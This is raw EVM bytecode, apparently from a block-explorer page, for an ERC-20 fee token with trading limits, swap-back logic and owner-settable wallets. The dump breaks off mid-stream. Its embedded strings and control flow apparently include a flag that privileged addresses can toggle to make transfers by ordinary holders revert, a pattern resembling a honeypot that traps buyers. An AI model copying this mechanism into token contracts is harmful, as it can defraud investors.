fffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128b6919061432c565b60405180910390a3505050565b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161290093929190614ebe565b6020604051808303816000875af115801561291f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129439190614f0a565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b090614fa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1f9061503b565b60405180910390fd5b60008103612a4157612a3c838360006137b6565b61364a565b600860009054906101000a900460ff1615612f3c57612a5e611a0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612acc5750612a9c611a0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b055750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b3f575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b585750600860039054906101000a900460ff16155b15612f3b57600860019054906101000a900460ff16612c5257601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c125750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906150a7565b60405180910390fd5b5b601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612cf55750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d9c57601754811115612d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3690615139565b60405180910390fd5b601954612d4b83611625565b82612d5691906149fa565b1115612d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8e906151a5565b60405180910390fd5b612f3a565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e3f5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e8e57601754811115612e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8090615237565b60405180910390fd5b612f39565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f3857601954612eeb83611625565b82612ef691906149fa565b1115612f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2e906151a5565b60405180910390fd5b5b5b5b5b5b6000612f4730611625565b9050600060185482101590507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603613037576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036130325743600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61308e565b600860039054906101000a900460ff1661308d5784600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b8080156130a75750600860029054906101000a900460ff165b80156130c05750600860039054906101000a900460ff16155b80156131165750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561316c5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131c25750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613206576001600860036101000a81548160ff0219169083151502179055506131ea613a35565b6000600860036101000a81548160ff0219169083151502179055505b6000600860039054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132bc5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132c657600090505b601e60009054906101000a900460ff16156133c157601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166133c057601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166133bf5760006133be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133b5906152c9565b60405180910390fd5b5b5b5b6000811561363a57601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561342457506000600d54115b156134f1576134516064613443600d5488613d3090919063ffffffff16565b613d4690919063ffffffff16565b9050600d54600f54826134649190614834565b61346e91906148a5565b6012600082825461347f91906149fa565b92505081905550600d54601054826134979190614834565b6134a191906148a5565b601360008282546134b291906149fa565b92505081905550600d54600e54826134ca9190614834565b6134d491906148a5565b601160008282546134e591906149fa565b92505081905550613616565b601d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561354c57506000600954115b1561361557613579606461356b60095488613d3090919063ffffffff16565b613d4690919063ffffffff16565b9050600954600b548261358c9190614834565b61359691906148a5565b601260008282546135a791906149fa565b92505081905550600954600c54826135bf9190614834565b6135c991906148a5565b601360008282546135da91906149fa565b92505081905550600954600a54826135f29190614834565b6135fc91906148a5565b6011600082825461360d91906149fa565b925050819055505b5b600081111561362b5761362a8730836137b6565b5b808561363791906152e9565b94505b6136458787876137b6565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161381c90614fa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161388b9061503b565b60405180910390fd5b61389f838383613d5c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161391c9061538f565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546139b891906149fa565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613a1c919061432c565b60405180910390a3613a2f848484613d61565b50505050565b6000613a4030611625565b90506000601354601154601254613a5791906149fa565b613a6191906149fa565b9050600080831480613a735750600082145b15613a8057505050613d2e565b6002601854613a8f9190614834565b831115613aa8576002601854613aa59190614834565b92505b600060028360125486613abb9190614834565b613ac591906148a5565b613acf91906148a5565b90506000613ae68286613d6690919063ffffffff16565b90506000479050613af682613d7c565b6000613b0b8247613d6690919063ffffffff16565b90506000613b3687613b2860115485613d3090919063ffffffff16565b613d4690919063ffffffff16565b90506000613b6188613b5360135486613d3090919063ffffffff16565b613d4690919063ffffffff16565b90506000818385613b7291906152e9565b613b7c91906152e9565b9050600060128190555060006011819055506000601381905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613bdc906153e0565b60006040518083038185875af1925050503d8060008114613c19576040519150601f19603f3d011682016040523d82523d6000602084013e613c1e565b606091505b50508098505087613c2e57600080fd5b600087118015613c3e5750600081115b15613c8b57613c4d8782613fb9565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601254604051613c82939291906153f5565b60405180910390a15b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613cd1906153e0565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b50508098505087613d2357600080fd5b505050505050505050505b565b60008183613d3e9190614834565b905092915050565b60008183613d5491906148a5565b905092915050565b505050565b505050565b60008183613d7491906152e9565b905092915050565b6000600267ffffffffffffffff811115613d9957613d98614620565b5b604051908082528060200260200182016040528015613dc75781602001602082028036833780820191505090505b5090503081600081518110613ddf57613dde614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613e84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ea89190614664565b81600181518110613ebc57613ebb614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f21307f0000000000000000000000000000000000000000000000000000000000000000846126fa565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613f8395949392919061542c565b600060405180830381600087803b158015613f9d57600080fd5b505af1158015613fb1573d6000803e3d6000fd5b505050505050565b613fe4307f0000000000000000000000000000000000000000000000000000000000000000846126fa565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161406b96959493929190615486565b60606040518083038185885af1158015614089573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906140ae91906154fc565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156140ef5780820151818401526020810190506140d4565b60008484015250505050565b6000601f19601f8301169050919050565b6000614117826140b5565b61412181856140c0565b93506141318185602086016140d1565b61413a816140fb565b840191505092915050565b6000602082019050818103600083015261415f818461410c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006141978261416c565b9050919050565b6141a78161418c565b81146141b257600080fd5b50565b6000813590506141c48161419e565b92915050565b6000819050919050565b6141dd816141ca565b81146141e857600080fd5b50565b6000813590506141fa816141d4565b92915050565b6000806040838503121561421757614216614167565b5b6000614225858286016141b5565b9250506020614236858286016141eb565b9150509250929050565b60008115159050919050565b61425581614240565b82525050565b6000602082019050614270600083018461424c565b92915050565b60006020828403121561428c5761428b614167565b5b600061429a848285016141b5565b91505092915050565b6000819050919050565b60006142c86142c36142be8461416c565b6142a3565b61416c565b9050919050565b60006142da826142ad565b9050919050565b60006142ec826142cf565b9050919050565b6142fc816142e1565b82525050565b600060208201905061431760008301846142f3565b92915050565b614326816141ca565b82525050565b6000602082019050614341600083018461431d565b92915050565b6000806000606084860312156143605761435f614167565b5b600061436e868287016141b5565b935050602061437f868287016141b5565b9250506040614390868287016141eb565b9150509250925092565b6000602082840312156143b0576143af614167565b5b60006143be848285016141eb565b91505092915050565b6143d08161418c565b82525050565b60006020820190506143eb60008301846143c7565b92915050565b600060ff82169050919050565b614407816143f1565b82525050565b600060208201905061442260008301846143fe565b92915050565b61443181614240565b811461443c57600080fd5b50565b60008135905061444e81614428565b92915050565b6000806040838503121561446b5761446a614167565b5b6000614479858286016141b5565b925050602061448a8582860161443f565b9150509250929050565b6000806000606084860312156144ad576144ac614167565b5b60006144bb868287016141eb565b93505060206144cc868287016141eb565b92505060406144dd868287016141eb565b9150509250925092565b6000602082840312156144fd576144fc614167565b5b600061450b8482850161443f565b91505092915050565b6000806040838503121561452b5761452a614167565b5b6000614539858286016141b5565b925050602061454a858286016141b5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061459b57607f821691505b6020821081036145ae576145ad614554565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006145ea6020836140c0565b91506145f5826145b4565b602082019050919050565b60006020820190508181036000830152614619816145dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061465e8161419e565b92915050565b60006020828403121561467a57614679614167565b5b60006146888482850161464f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006146e56146e06146db846146c0565b6142a3565b6141ca565b9050919050565b6146f5816146ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147308161418c565b82525050565b60006147428383614727565b60208301905092915050565b6000602082019050919050565b6000614766826146fb565b6147708185614706565b935061477b83614717565b8060005b838110156147ac5781516147938882614736565b975061479e8361474e565b92505060018101905061477f565b5085935050505092915050565b60006080820190506147ce60008301876146ec565b81810360208301526147e0818661475b565b90506147ef60408301856143c7565b6147fc606083018461431d565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061483f826141ca565b915061484a836141ca565b9250828202614858816141ca565b9150828204841483151761486f5761486e614805565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006148b0826141ca565b91506148bb836141ca565b9250826148cb576148ca614876565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614932602f836140c0565b915061493d826148d6565b604082019050919050565b6000602082019050818103600083015261496181614925565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006149c46028836140c0565b91506149cf82614968565b604082019050919050565b600060208201905081810360008301526149f3816149b7565b9050919050565b6000614a05826141ca565b9150614a10836141ca565b9250828201905080821115614a2857614a27614805565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614a8a6039836140c0565b9150614a9582614a2e565b604082019050919050565b60006020820190508181036000830152614ab981614a7d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000614b1c6025836140c0565b9150614b2782614ac0565b604082019050919050565b60006020820190508181036000830152614b4b81614b0f565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614bae6024836140c0565b9150614bb982614b52565b604082019050919050565b60006020820190508181036000830152614bdd81614ba1565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614c406035836140c0565b9150614c4b82614be4565b604082019050919050565b60006020820190508181036000830152614c6f81614c33565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614cd26034836140c0565b9150614cdd82614c76565b604082019050919050565b60006020820190508181036000830152614d0181614cc5565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614d646026836140c0565b9150614d6f82614d08565b604082019050919050565b60006020820190508181036000830152614d9381614d57565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614df66024836140c0565b9150614e0182614d9a565b604082019050919050565b60006020820190508181036000830152614e2581614de9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e886022836140c0565b9150614e9382614e2c565b604082019050919050565b60006020820190508181036000830152614eb781614e7b565b9050919050565b6000606082019050614ed360008301866143c7565b614ee060208301856143c7565b614eed604083018461431d565b949350505050565b600081519050614f0481614428565b92915050565b600060208284031215614f2057614f1f614167565b5b6000614f2e84828501614ef5565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614f936025836140c0565b9150614f9e82614f37565b604082019050919050565b60006020820190508181036000830152614fc281614f86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150256023836140c0565b915061503082614fc9565b604082019050919050565b6000602082019050818103600083015261505481615018565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006150916016836140c0565b915061509c8261505b565b602082019050919050565b600060208201905081810360008301526150c081615084565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006151236035836140c0565b915061512e826150c7565b604082019050919050565b6000602082019050818103600083015261515281615116565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061518f6013836140c0565b915061519a82615159565b602082019050919050565b600060208201905081810360008301526151be81615182565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006152216036836140c0565b915061522c826151c5565b604082019050919050565b6000602082019050818103600083015261525081615214565b9050919050565b7f6578697374696e672070617272616c6c656c207377617070696e672c2063616e60008201527f277420616c6c6f7720646f75626c650000000000000000000000000000000000602082015250565b60006152b3602f836140c0565b91506152be82615257565b604082019050919050565b600060208201905081810360008301526152e2816152a6565b9050919050565b60006152f4826141ca565b91506152ff836141ca565b925082820390508181111561531757615316614805565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006153796026836140c0565b91506153848261531d565b604082019050919050565b600060208201905081810360008301526153a88161536c565b9050919050565b600081905092915050565b50565b60006153ca6000836153af565b91506153d5826153ba565b600082019050919050565b60006153eb826153bd565b9150819050919050565b600060608201905061540a600083018661431d565b615417602083018561431d565b615424604083018461431d565b949350505050565b600060a082019050615441600083018861431d565b61544e60208301876146ec565b8181036040830152615460818661475b565b905061546f60608301856143c7565b61547c608083018461431d565b9695505050505050565b600060c08201905061549b60008301896143c7565b6154a8602083018861431d565b6154b560408301876146ec565b6154c260608301866146ec565b6154cf60808301856143c7565b6154dc60a083018461431d565b979650505050505050565b6000815190506154f6816141d4565b92915050565b60008060006060848603121561551557615514614167565b5b6000615523868287016154e7565b9350506020615534868287016154e7565b9250506040615545868287016154e7565b915050925092509256fea26469706673582212207313be33b41f641d230bbcd9e762648d2027eb16e09dc661576566d3056caa0064736f6c63430008130033

Deployed Bytecode

0x60806040526004361061036f5760003560e01c806392136913116101c6578063c0246668116100f7578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b14610cf5578063f637434214610d1e578063f8b45b0514610d49578063fbc10c5514610d7457610376565b8063dd62ed3e14610c62578063e2f4560514610c9f578063f11a24d314610cca57610376565b8063c8c8ebe4116100d1578063c8c8ebe414610b92578063cd5f101d14610bbd578063d257b34f14610bfa578063d85ba06314610c3757610376565b8063c024666814610b17578063c17b5b8c14610b40578063c18bc19514610b6957610376565b8063a07873f211610164578063a9059cbb1161013e578063a9059cbb14610a49578063aacebbe314610a86578063b62496f514610aaf578063bbc0c74214610aec57610376565b8063a07873f2146109b6578063a0d82dc5146109e1578063a457c2d714610a0c57610376565b80639a7a23d6116101a05780639a7a23d61461090e5780639c3b4fdc146109375780639fccce3214610962578063a0112f821461098d57610376565b8063921369131461088f578063924de9b7146108ba57806395d89b41146108e357610376565b806339509351116102a0578063715018a61161023e5780637bce5a04116102185780637bce5a04146107f95780638095d564146108245780638a8c523c1461084d5780638da5cb5b1461086457610376565b8063715018a61461078e578063751039fc146107a55780637571336a146107d057610376565b80634fbee1931161027a5780634fbee193146106be5780636a486a8e146106fb5780636ddd17131461072657806370a082311461075157610376565b8063395093511461062b57806349bd5a5e146106685780634a62bb651461069357610376565b80631a8145bb1161030d57806323b872dd116102e757806323b872dd1461055b57806327c8f835146105985780632eae5715146105c3578063313ce5671461060057610376565b80631a8145bb146104dc5780631f3fed8f14610507578063203e727e1461053257610376565b80631694505e116103495780631694505e1461042057806318160ddd1461044b5780631816467f1461047657806319beb1701461049f57610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d9d565b60405161039d9190614145565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190614200565b610e2f565b6040516103da919061425b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190614276565b610e4d565b604051610417919061425b565b60405180910390f35b34801561042c57600080fd5b50610435610e6d565b6040516104429190614302565b60405180910390f35b34801561045757600080fd5b50610460610e91565b60405161046d919061432c565b60405180910390f35b34801561048257600080fd5b5061049d60048036038101906104989190614276565b610e9b565b005b3480156104ab57600080fd5b506104c660048036038101906104c19190614347565b610fd7565b6040516104d3919061425b565b60405180910390f35b3480156104e857600080fd5b506104f1611286565b6040516104fe919061432c565b60405180910390f35b34801561051357600080fd5b5061051c61128c565b604051610529919061432c565b60405180910390f35b34801561053e57600080fd5b506105596004803603810190610554919061439a565b611292565b005b34801561056757600080fd5b50610582600480360381019061057d9190614347565b6113a1565b60405161058f919061425b565b60405180910390f35b3480156105a457600080fd5b506105ad611499565b6040516105ba91906143d6565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e59190614200565b61149f565b6040516105f7919061425b565b60405180910390f35b34801561060c57600080fd5b506106156114ca565b604051610622919061440d565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d9190614200565b6114d3565b60405161065f919061425b565b60405180910390f35b34801561067457600080fd5b5061067d61157f565b60405161068a91906143d6565b60405180910390f35b34801561069f57600080fd5b506106a86115a3565b6040516106b5919061425b565b60405180910390f35b3480156106ca57600080fd5b506106e560048036038101906106e09190614276565b6115b6565b6040516106f2919061425b565b60405180910390f35b34801561070757600080fd5b5061071061160c565b60405161071d919061432c565b60405180910390f35b34801561073257600080fd5b5061073b611612565b604051610748919061425b565b60405180910390f35b34801561075d57600080fd5b5061077860048036038101906107739190614276565b611625565b604051610785919061432c565b60405180910390f35b34801561079a57600080fd5b506107a361166d565b005b3480156107b157600080fd5b506107ba6116f5565b6040516107c7919061425b565b60405180910390f35b3480156107dc57600080fd5b506107f760048036038101906107f29190614454565b6117c1565b005b34801561080557600080fd5b5061080e611898565b60405161081b919061432c565b60405180910390f35b34801561083057600080fd5b5061084b60048036038101906108469190614494565b61189e565b005b34801561085957600080fd5b50610862611957565b005b34801561087057600080fd5b50610879611a0b565b60405161088691906143d6565b60405180910390f35b34801561089b57600080fd5b506108a4611a35565b6040516108b1919061432c565b60405180910390f35b3480156108c657600080fd5b506108e160048036038101906108dc91906144e7565b611a3b565b005b3480156108ef57600080fd5b506108f8611ad4565b6040516109059190614145565b60405180910390f35b34801561091a57600080fd5b5061093560048036038101906109309190614454565b611b66565b005b34801561094357600080fd5b5061094c611c7e565b604051610959919061432c565b60405180910390f35b34801561096e57600080fd5b50610977611c84565b604051610984919061432c565b60405180910390f35b34801561099957600080fd5b506109b460048036038101906109af9190614454565b611c8a565b005b3480156109c257600080fd5b506109cb611d38565b6040516109d891906143d6565b60405180910390f35b3480156109ed57600080fd5b506109f6611d5e565b604051610a03919061432c565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e9190614200565b611d64565b604051610a40919061425b565b60405180910390f35b348015610a5557600080fd5b50610a706004803603810190610a6b9190614200565b611e4f565b604051610a7d919061425b565b60405180910390f35b348015610a9257600080fd5b50610aad6004803603810190610aa89190614276565b611e6d565b005b348015610abb57600080fd5b50610ad66004803603810190610ad19190614276565b611f87565b604051610ae3919061425b565b60405180910390f35b348015610af857600080fd5b50610b01611fa7565b604051610b0e919061425b565b60405180910390f35b348015610b2357600080fd5b50610b3e6004803603810190610b399190614454565b611fba565b005b348015610b4c57600080fd5b50610b676004803603810190610b629190614494565b6120df565b005b348015610b7557600080fd5b50610b906004803603810190610b8b919061439a565b612198565b005b348015610b9e57600080fd5b50610ba76122a7565b604051610bb4919061432c565b60405180910390f35b348015610bc957600080fd5b50610be46004803603810190610bdf9190614276565b6122ad565b604051610bf1919061432c565b60405180910390f35b348015610c0657600080fd5b50610c216004803603810190610c1c919061439a565b6122c5565b604051610c2e919061425b565b60405180910390f35b348015610c4357600080fd5b50610c4c61241a565b604051610c59919061432c565b60405180910390f35b348015610c6e57600080fd5b50610c896004803603810190610c849190614514565b612420565b604051610c96919061432c565b60405180910390f35b348015610cab57600080fd5b50610cb46124a7565b604051610cc1919061432c565b60405180910390f35b348015610cd657600080fd5b50610cdf6124ad565b604051610cec919061432c565b60405180910390f35b348015610d0157600080fd5b50610d1c6004803603810190610d179190614276565b6124b3565b005b348015610d2a57600080fd5b50610d336125aa565b604051610d40919061432c565b60405180910390f35b348015610d5557600080fd5b50610d5e6125b0565b604051610d6b919061432c565b60405180910390f35b348015610d8057600080fd5b50610d9b6004803603810190610d969190614276565b6125b6565b005b606060038054610dac90614583565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd890614583565b8015610e255780601f10610dfa57610100808354040283529160200191610e25565b820191906000526020600020905b815481529060010190602001808311610e0857829003601f168201915b5050505050905090565b6000610e43610e3c6126f2565b84846126fa565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610ea36126f2565b73ffffffffffffffffffffffffffffffffffffffff16610ec1611a0b565b73ffffffffffffffffffffffffffffffffffffffff1614610f17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0e90614600565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561106a57611037838585856128c3565b601e60009054906101000a900460ff1615601e60006101000a81548160ff0219169083151502179055506001905061127f565b6000600267ffffffffffffffff81111561108757611086614620565b5b6040519080825280602002602001820160405280156110b55781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611123573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111479190614664565b8160008151811061115b5761115a614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106111aa576111a9614691565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008461dead426040518663ffffffff1660e01b815260040161124794939291906147b9565b6000604051808303818588803b15801561126057600080fd5b505af1158015611274573d6000803e3d6000fd5b505050505050600190505b9392505050565b60125481565b60115481565b61129a6126f2565b73ffffffffffffffffffffffffffffffffffffffff166112b8611a0b565b73ffffffffffffffffffffffffffffffffffffffff161461130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590614600565b60405180910390fd5b670de0b6b3a76400006103e86001611324610e91565b61132e9190614834565b61133891906148a5565b61134291906148a5565b811015611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90614948565b60405180910390fd5b670de0b6b3a7640000816113989190614834565b60178190555050565b60006113ae84848461294a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113f96126f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020